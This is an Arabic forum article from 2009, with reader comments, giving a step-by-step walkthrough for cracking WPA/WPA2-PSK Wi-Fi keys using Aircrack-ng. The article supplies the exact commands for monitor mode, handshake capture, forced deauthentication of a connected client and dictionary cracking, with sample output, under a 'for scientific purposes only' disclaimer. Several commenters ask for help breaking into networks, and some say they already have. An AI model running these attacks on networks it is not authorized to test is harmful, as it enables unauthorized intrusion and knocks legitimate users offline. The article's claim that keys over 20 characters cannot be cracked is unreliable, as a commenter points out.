الصفحة الرئيسية مواضيع ومقالات أمن الشبكات كسر تشفير شبكة الوايرلس WPA/WPA2 - PSK
كسر تشفير شبكة الوايرلس WPA/WPA2 - PSK
تقييم المستخدمين: / 84
عاديممتاز 
الكاتب JoNa   
الأربعاء, 10 يونيو 2009 19:53

شرح كيفية فك تشفير شبكات الوايرلس التي تستخدم تشفير WPA/WPA2-PSK عن طريق عمل هجوم Brute force لاستخراج مفتاح الشبكة باسخدام مجموعة Aricrack-ng.

معلومات يجب أن تعرفها:

Wifi

  1.  هذا المقال يشرح كيفية فك تشفير الشبكات التي تستخدم برورتوكول WPA/WPA2-PSK لذلك كن متاكدا من الشبكة المستهدفة تستخدم هذا البرورتوكول.
  2. نستخدم هجوم brute force لفك تشفير WPA/WPA2-PSK لأن المفتاح ليس ثابتا لذلك فان جمع الـ IV'S كانك تريد فك تشفير WEP لن ينفع وانما ما ينفع هنا هو الـ handshake بين الكلاينت والاكسس بوينت AP.
  3. يجب أن تعلم أيضا أن المفتاح الذي تريد تخمينه يمكن ان يكون طوله بين 8 و 63 من أرقام وحروف وحتى الرموز الخاصة.
  4. يستطيع الحاسوب تجريب ما بين 50 و 300 مفتاح في الثانية اعتمادا على سرعة المعالج وقوة الاشارة وقد يدوم الأمر لساعات ان لم يدم لأيام أو شهور. واذا كنت تريد عمل قاموس به جميع الاحتمالات من أرقام ورموز وحروف كبيرة وصغيرة فاعلم انه اذا كانت هناك شبكة تستخدم مفتاح يتكون من 5 خانات (ارقام - رموز - حروف كبيرة - حروف صغيرة ) واذا كان جهازك يستطيع تجريب 1000 كلمة في الثانية فان الزمن اللازم لتجريب كل الاحتمالات هو 4 شهور.

سأستخدم نظام لينوكس وحزمة Aircrack-ng. وأنبه ﻷن المقال للاغراض العلمية فقط.

 

قبل البدء بعملية الكسر - BEFORE THE CRACKING:

يجب ان يكون كرت الوايرلس الذي تستخدمه يدعم الحقن او الـ injection ولمعرفة ذلك استخدم الامر التالي :

aireplay-ng -9 -e JONA -a 00:de:af:da:c7:00 wlan0

9- تعني اختبار الحقن.
e- اسم الاكسس بوينت AP.
a- العنوان الفيزيائي للشبكة Mac adress.
wlan0 كرت الوايرلس

الناتج سيكون كالاتي:

11:01:06 ath0 channel: 9 11:01:06 Trying broadcast probe requests...
11:01:06 Injection is working!
11:01:07 Found 1 APs 11:01:07 Trying directed probe requests...
11:01:07 00:14:6C:7E:40:80 - channel: 9 - 'JONA'
11:01:07 Ping (min/avg/max): 2.763ms/4.190ms/8.159ms
11:01:07 30/30: 100%

وأهم سطرين هما الثالث والاخير وهنا القيمة في السطر الاخير هي %100 وهذا يعني ان بامكاننا عمل injection للشبكة.

يجب ان تكون قريب كفاية من الشبكة المستهدفة لكي تستطيع ارسال الباكيت لها وتذكر ان اشارة الاكسس بوينت اقوى من اشارة كرت الوايرلس لديك وهذا يعني انك اذا كنت تستطيع استقبال الباكيت من الاكسس بوينت فذلك لا يعني انك تستطيع ارسال الباكيت.

 

الخطوات التي سنقوم بتنفيذها - CRACKING STEPS:

  1. وضع كرت الوايرلس في الوضع monitor وفي نفس القناة التي تستخدمها الاكسس بوينت.
  2. airodump-ng للحصول على الـ authentication handshake .
  3. aireplay-ng لفصل الكلاينت عن الشبكة.
  4. aircrack-ng لفك تشفير الـ PSK باستخدام الـ handshake.

 

عملية كسر تشفير شبكة الوايرلس - CRACKING:

نبدأ العملية بوضع كرت الوايرلس بالوضع monitor بتنفيذ الأمر التالي:

airmon-ng start wlan0 9

wlan0: كرت الوايرلس
9: القناة التي تستخدمها الاكسس بوينت

airodump-ng -c 9 --bssid 00:de:af:da:c7:00 -w psk wlan0

c- القناة التي تستخدمها الاكسس بوينت.
bssid-- العنوان الفيزيائي للشبكة Mac adress.
w- اسم الملف الذي ستخزن به الباكيت او الحروف التي ستضاف لاسماء الباكيت للتمييز بينها.

أهم شيء هنا هو الـ handshake وسيظهر في أعلى يمين الشاشة . ويجب ان يكون جهاز متصل بالشبكة كلاينت.

aireplay-ng -0 1 -a 00:14:6C:7E:40:80 -c 00:0F:B5:FD:FB:C2 wlan0

0- تعني deauthentication 1 هي عدد الـ deauthentication التي سيتم ارسالها
a- هي العنوان الفيزيائي للاكسس بوينت mac adress.
c- العنوان الفيزيائي للكلاينت الذي سيتم فصله.

والناتج تقريبا كالاتي:

11:09:28 Sending DeAuth to station -- STMAC: [00:0F:B5:34:30:30]

نفذ الأمر لكسر تشفير الملف واستخراج مفتاح الشبكة:

aircrack-ng -w password.lst -b 00:de:af:da:c7:00 psk*.cap

-w ملف المفاتيح الذي سيتم اختبارها
psk الاسم الذي اخترناه في الخطوة الاولى للباكيت.

والناتج سيكون كالاتي:

Aircrack-ng 0.8 [00:00:00] 2 keys tested (37.20 k/s)

KEY FOUND! [ 123456 ]

Master Key : CD 69 0D 11 8E AC AA C5 C5 EC BB 59 85 7D 49 3E B8 A6 13 C5 4A 72 82 38 ED C3 7E 2C 59 5E AB FD

Transcient Key : 06 F8 BB F3 B1 55 AE EE 1F 66 AE 51 1F F8 12 98 CE 8A 9D A0 FC ED A6 DE 70 84 BA 90 83 7E CD 40 FF 1D 41 E1 65 17 93 0E 64 32 BF 25 50 D5 4A 5E 2B 20 90 8C EA 32 15 A6 26 62 93 27 66 66 E0 71

EAPOL HMAC : 4E 27 D9 5B 00 91 53 57 88 9C 66 C8 B1 29 D1 CB

واخيرا فان فك تشفير بروتوكول WPA-PSK مستحيل اذا كان المفتاح يتكون من اكثر من 20 خانة.

وأنبه مرة اخرى على ان الشرح للاغراض العلمية ... JoNa

التعليقات (40)Add Comment
0
و ما طريقة الحماية
أرسلت بواسطة: الصادق في June 11, 2009
ما هي طريقة حماية شبكتي مما ذكرت
dGeeky
...
أرسلت بواسطة: dGeeky في June 11, 2009
عمل key بكلمات يصعب كسرها

كما يلاحظ KEY= 123456

وهدا متوفر في الwordlist لدا تم كسره بسرعة

العملية تعتمد على قوة الkey
Own3r
...
أرسلت بواسطة: Own3r في June 11, 2009
سلمة يداك JoNa
على الشرح
جاري التجربة ولي رجعه في حال الاستفسار

تقبل تحياتي
عبدالمهيمن الآغا
...
أرسلت بواسطة: عبدالمهيمن في June 11, 2009
موضوع جميل ومفصّل, شكرا JoNa على الموضوع وأهلا بك في iSecur1ty :)

بالنسبة لمفتاح شبكات الوايرلس قليلون جدا من يستخدم مفتاح معقّد يحتوي على أحرف, أرقام ورموز فالأغلبية يكتفي بالأرقام فقط لتسهيل حفظ المفتاح و في أحسن الأحوال يكون المفتاح عبارة عن أحرف صغيرة وأرقام وهذا طبعا يخفض عدد الاحتمالات بدرجة كبيرة.
0
تعليم التهكير خطأ
أرسلت بواسطة: ابوعبدالله في June 11, 2009
السلام عليكم

بدأ الموقع يتحول لتعليم التهكير بأسم الاغراض العلمية فقط!!!

بكره نشوف تعليم استخدام الشلات phpshell وكيفية اختراق المنتديات(طبعا راح نقول اخترقوا مواقع اليهود وايضا التعليم لاغراض علميه فقط)

وكم يوم ويتم شرح كيفية اختراق الاجهزة الشخصية وكيفية سرقة بيانات وصور الضحيه وايضا السبب لأغراض علمية فقط

ياأخي صاحب الموقع أتق الله فيما تفعل وتقول وتنشر في موقعك باسم الاغراض العلميه فقط
مافيه واحد اصلا يدخل ويتعلم الا يروح ويستعمل اللى فهمه منك فى ضرر المسلمين

صدقني مافيه احد يبحث عن الاغراض العلميه على قولتك وكثير من الناس لما يعرف حاجه تضر المسلمين فى مواقعهم على طول راح يطبق عليهم فياليت ماتساعدهم بنشرك للمعلومات المضره للناس

اتمني تتقبل نقدي بصدر رحب

والسلام عليكم ورحمة الله وبركاته
JoNa
...
أرسلت بواسطة: JoNa في June 11, 2009
الصادق :- ضع كلمة مرور تتكون من ارقام وحروف واحد الرموز الخاصة على الاقل

مثل 12345AbCdE? وحاول ان تستخدم الاحرف الكبيرة والصغيرة معا لان كلمة المرور

حساسة لحالة الاحرف .

azzdine :- كما قلت فالعملية تعتمد على قوة المفتاح ولكن البعض يريد مفتاحا

يسهل تذكره وهذه هي المشكلة .

Own3r :- بانتظار استفساراتك .

عبدالمهيمن :- كما قلت قالكل يريد مفتاحا يسهل تذكره .

والكثيرين يضعون رقم هاتفهم كمفتاح للشبكة . وشكرا على التنسيق الجميل للموضوع .
عبدالمهيمن الآغا
ابوعبدالله:
أرسلت بواسطة: عبدالمهيمن في June 11, 2009
وعليكم السلام أخي.. في البداية دعني أوضح لك أمر مهم جداً.

الاختراق علم موجود شئت ذلك أم أبيت وأصلا بدونه لا يوجد معنى للحماية وكن متأكد أن لا أنت ولا أنا نستطيع اخفاؤه!

هل تعتقد أن الحل الصحيح للحماية هو ابقاء جميع المعلومات وطرق الاختراق مكتومة؟! أم ننشر الاثنين ليعرف مدير الشبكة كيف يتم الاختراق ويتمكن من حماية شبكته؟

الموقع يركز على مفهوم اختبار الاختراق Penetration Testing أنصحك أن تقرأ عنه لتعرف لماذا نقوم نحن بنشر هذه المعلومات وتذكر أن كل شيء بالحياة سلاح ذو حدين وبدورنا علينا أن نعرف كيفية استخدامه والتعامل معه واستغلاله في الأمور الجيدة.

دمت بود...
JoNa
الداء والدواء
أرسلت بواسطة: JoNa في June 11, 2009
صحيح انني ذكرت كيفية فك تشفير الشبكات ولكنني ايضا ذكرت كيف تحمي شبكتك .

اما بالنسبة لهذا الموقع فهو من المواقع القليلة التي تهتم بالحماية والاختراق (معا) ...


0
...
أرسلت بواسطة: Napst3r في June 12, 2009
موضوع منتشر بكثرة وقديم نوعا ما,,لكن اعجبتني طريقتك في شرحه..
مجهود تشكر عليه..
وبالتوفيق لكم في الموقع هذا..
سلملم
mrloong
...
أرسلت بواسطة: mrloong في June 19, 2009
شـكــ وبارك الله فيك ـــرا لك ... لك مني أجمل تحية .


Mr.ShArK
...
أرسلت بواسطة: Mr.ShArK في June 22, 2009
شرح رائع جدا ،،
موجد عندي تقريب شرح قريب منه لكن بالفديو بنزله قريبا ،،
0
مساعدة
أرسلت بواسطة: 'D2J/J في June 23, 2009
السلام عليكم

الحمدلله انا نجحت في فك تشفير WEP ولكن تواجهني صعوبه في WPA2 الرجوا المساعدة انا وصلت الى الخطوة
aireplay-ng -0 1 -a 00:14:6C:7E:40:80 -c 00:0F:B5:FD:FB:C2 wlan0
الرجو التوضيح

واذا كان بالصور كان افضل

وشكراااااااااااا
0
استفسار
أرسلت بواسطة: استفسار في June 28, 2009
عزيزي عند تطبيق الامر

aireplay-ng -9 -e JONA -a 00:de:af:da:c7:00 wlan0

جاني

ioctl(SIOCSIWMODE) failed: Device or resource busy

ARP linktype is set to 1 (Ethernet) - expected ARPHRD_IEEE80211,
ARPHRD_IEEE80211_FULL or ARPHRD_IEEE80211_PRISM instead. Make
sure RFMON is enabled: run 'airmon-ng start wlan0 '
Sysfs injection support was not found either.

اش تعني ؟؟
0
الف شكر
أرسلت بواسطة: الــــــــــرايق في June 29, 2009
يعطيك العافيه على ذا المجهود
0
مساعده
أرسلت بواسطة: ابو ساهر في July 01, 2009
يوجد عندي الباك تراك 3 نفس الخطوات التي ذكرتها تمشي في الباك تراك لكن أمر استخراج المفتاح في الباك تراك 3 يختلف عن خطوتك هنا الاخيره وقد جربته مانفع امرك في الاستخراج ( المفتاح ) واريد اعرف ماهو الامر في الخطوه الاخيره في الباك تراك 3 لكي استخرج المفتاح فقط (نفذ الأمر لكسر تشفير الملف واستخراج مفتاح الشبكة:) ممكن تكتبه لي ياغالي بجربه ( الامر الاخير فقط )على شبكتي وأشوف هل يكسره ام لا ؟؟ ويعطيك العافيه .

0
لا مستحيل
أرسلت بواسطة: مايحتاج في July 02, 2009
أتحفظ على كلمة (( مستحيل )) في نهاية الموضوع :)
0
استفسار
أرسلت بواسطة: عابر سبيل في July 06, 2009
السلام عليكم
شرح اكثر من رائع
بس عندي مشكلة في بداية الموضوع
اذا شبكتي ما تدعم injection كيف استطيع جعلها تدعم الـ injection او الحقن
0
هل الأمر ينفع مع نظام ويندوز أكس بي
أرسلت بواسطة: ديوان في July 08, 2009
يا ليت توضح هل الشرح ينفع مع نظام ويندوز؟
Hamed
...
أرسلت بواسطة: Hamed في July 10, 2009
مشكووووووووووور على الشرح

فقط تسجيل حظور خخخخخخ

الحمد لله قد اخترقت شبكه من قبل و فاهم كل شي

و انا اعتبر فك wpa2 كأنه burte force

رغم الي قد فكيت wep و الحمد لله

تحيآأتي
0
...
أرسلت بواسطة: osama في July 15, 2009
بسم الله الرحمن الرحيم
اولا اشكرك على الشرح الوافى والشرح المذهل وسعة صدرك
لكن انا ليا تعليق
اللينكس صعب جدا فى التعامل المشكله عندى فى تعريف الكارت بالباتش بتاع aircrack
انا لم استطيع حتى الان الوصول لهذه النقطه وسالت مهندسين كمبيوتر لكن للاسف مفيش حد فيهم فاهم حاجه فى اللينكس
ده نوع الكارت بتاعى linksys wusb600n وهو من الكروت المدعومه والباتش معايا
وعندى النسخه من backtrack3
0
ملف password.lst
أرسلت بواسطة: ماجد في July 19, 2009
الحمد الله كل الطرق جربتها ونجحت لكن نسبة نجاح فك تشفير WPA تعتمد على قوة ملف Password.lst كلما كان حجمه كبير كانت نسبة النجاح أكبر

ولهذا أكبر حجم وصلت له حتى الان في الملف هو 25 كيلو بايت

هل هناك أحجام أكبر ؟؟

ومن لديه الملف أتمنى أن يزودنا به

0
...
أرسلت بواسطة: حميد العنزي في August 08, 2009
السلام عليكم اذا سمحتوا الى الان ما عرفت فك WPA , عندي كرت الوايرلس الفاااا

ونظام التشغيل اكسبي فا كيف اكسر تشفير WPA ؟؟؟؟؟؟
Hussain
استفسار!
أرسلت بواسطة: Hussain في August 23, 2009
اخوي ايش كروت الوايرلس الي تدعم استخدام مجموعة aircrack ؟

al pacino
...
أرسلت بواسطة: al pacino في September 08, 2009
اخ ماجد بالنسبة للباسورد ليست يمكن تحميل واحدة تضم مليون كلمة (وزنها 32 جيقا تقريبا) من موقع aircrack-ng ولكن تبقى فرصة نجاح العملية ضئيلة
DRISS Amine
...
أرسلت بواسطة: DRISS Amine في October 26, 2009
لدي كارت من نوع Intel(R) WiFi Link 5100 AGN
هل يدعم Injection
لأني جربت الشرح مرات عديدة و لم ينجح معي
sony
كيف احصل على العنوان الفيزيائي للكلاينت
أرسلت بواسطة: sony في November 21, 2009
عزيزي كاتب الموضوع احب ان اشكرك على موضوعك جدا مفيد
وطريقه أطرح أكثر من رائعه
لكن لدي استفسار بسيط وهو انك لم تذكر كيف استطيع ان احصل على عنوان الكلاينت الفيزيائي في هذا الأمر
aireplay-ng -0 1 -a 00:14:6C:7E:40:80 -c 00:0F:B5:FD:FB:C2 wlan0

يعني من وين اجيب العنوان هذا
00:0F:B5:FD:FB:C2

شكرا
sony
...
أرسلت بواسطة: sony في November 22, 2009
عرفت أجابة السؤال الي فوق
لكن السؤال هو ملف الباسورد لست هل هو من الاساس موجود اوا انا ضيفه او كيف

علما اني استخدم باك تراك 4
شكرا
abuibrahim
تعقيب
أرسلت بواسطة: abuibrahim في November 22, 2009
اخي JoNa اشكرك على جهدك وشرحك الرائع ..

ذكرت اخي انه لا يمكن فك تشفير الـ WAP اذا كانت الباس وورد اكثر من 20 خانة !

حسب التجربة يمكن فك التشفير بشرط وجود نفس الباس وورد في الباس وورد لست حتى لو كانت اكثر من 20 حرف .

شكرا لك اخي مرة اخرى .

ابو ابراهيم
Mohammad Irshaid
...
أرسلت بواسطة: Mohammad Irshaid في November 29, 2009
تسلم يداك اخي , بس لو نعرف اذا في امكانية اختراق هاد التشفير عن طريق الوندوز
Knight
Demonsfall
أرسلت بواسطة: Knight في November 30, 2009
السلام عليكم

شرح رائع jona بخصوص الاختراق والحماية مدير النظام الصحيح القادر على حماية نظامة وشبكتها لابد من علمه بامور الهاكر دليل على ذالك شهادة الهاكر الاخلاقى فى الاساس هو يتدرب على امور الاختراق المختلفة والحماية ومنها بكدا يصبح هاكر ولاكن اخلاقى قدر على صد الهاكر وحماية الانظمة شكراا ليك جدااا وربنا يقويكم على اعطاء المزيد
Knight
Demonsfall
أرسلت بواسطة: Knight في November 30, 2009
هناك سؤل بسيط اتمنى الاجابة عليه

هل استطيع تنفذ الشرح السابق من خلال اكسس بوينت ام لابد من وجود كارت ويرلس ؟؟؟
mostafa saieed
...
أرسلت بواسطة: mostafa saieed في December 11, 2009
السلام عليكم
أناطالب فى كلية الهندسة
مشروع تخرجى شغال فيه حاليا وهو فى الاتى :

wireless network security audit using GPU programming

الجزء المتعلق بالبرمجة على الجى بى يو بلغة الكودا والمالتى ثريدنج شغال فيه كويس
لكن أنا ماليش خبرة فى مجال الحماية أو الهاكينج أو فك الشفرة

أنا درست نظم التشفير الكلاسيكية مثل DES ,AES

بدون إطالة , أنا عايز أعرف ابتدى منين .. عايز أتعلم الألجوريزمات ..وأعرف برامج الهاكرز وازاى أشغلها

وأتابع ايه بالظبط على الموقع
شكرا مقدما واسف على الإطالة
Alaa
مشكور جدا أخ جونا
أرسلت بواسطة: Alaa في December 14, 2009
تسلم أخي على الشرح .. لكن سؤال . انا كرت الوايرلس عندي لا يدعم الحقن .. وأريد شراء كرت جديد .. نصحوني بكرت usb dlink ,, قالولي أفضل . وأنا كنت خائف ما يدعم الحقن .. أرجو توضيع على الكروت اللي تدعم الحقن .. وإعطاء نصيحة حول شراء الكرت
جابر جعفري
جابر
أرسلت بواسطة: جابر جعفري في March 05, 2010
مشكوووووووووووووووووووووووو
هكر كيجي ون
مشكلة في اخر خطوة
أرسلت بواسطة: صالح في March 06, 2010
جزاك الله اخي على هذا الشرح ولاكن مشكلتي تكمن في السطر الاخير

aircrack-ng -w password.lst -b 00:de:af:da:c7:00 psk*.cap

1- ملف password.lst هل هو موجد مع aircrack-ng ام يحتاج الى تنصيب وإذا كان يحتاج الى تنصيب فكيف يمكنني فعل ذلك

2- b 00:de:af:da:c7:00- هل هو رقم الماك ادرس لكرت الوايرليس لجهازي ام مازا

3- psk*.cap هي اسم المف الذي قمنا بأنشائه في البداية سوألي حول الملف لمذا نضع علامة النجمة رغم ان الملف لدي هو psk.cap

ملاحة عند تنفيذي للسطر ظهر لي الخطاء التالي

fopen(dictionary) failed: No such file or directory
fopen(dictionary) failed: No such file or directory
Opening psk-01.cap
No matching network found - check your bssid.


Quitting aircrack-ng...
هكر كيجي ون
مشكلة في اخر خطوة
أرسلت بواسطة: صالح في March 06, 2010
اسف نسيت ان اقول ان التي لدي هي باك تراك 4 فاينل رليس
هكر كيجي ون
هكر كيجي ون مشكلة في اخر خطوة
أرسلت بواسطة: هكر كيجي ون في March 08, 2010
الحمد لله تم حل المشكلة بالحصول على password list
ras517
مشكور
أرسلت بواسطة: ras517 في March 15, 2010
لكن لم اشاهد صاحب الموضوع يتابع موضوعه في الرد على الاستفسارت بعد التطبيق
fathi alqadasi
موضوع رائع
أرسلت بواسطة: fathi alqadasi في April 25, 2010
جزاك الله خير اخي زيد
لي استفسار
هل dsl 2640T
dlink يدعم الانجكشن ام لا وكيف اذا لم يكن يفعل ذالك
atchan
طالب
أرسلت بواسطة: atchan في June 24, 2010
أرجوكم علموني هذه الطريقة عبر mr.atchan@hotmail.com

أضف تعليق
يجب عليك الاشتراك بالموقع لتتمكن من كتابة التعليقات, الاشتراك مجاني ويستغرق بضع ثوان فقط!
اذا كنت مشترك مسبقا في الموقع فضلاً قم بتسجيل الدخول.

busy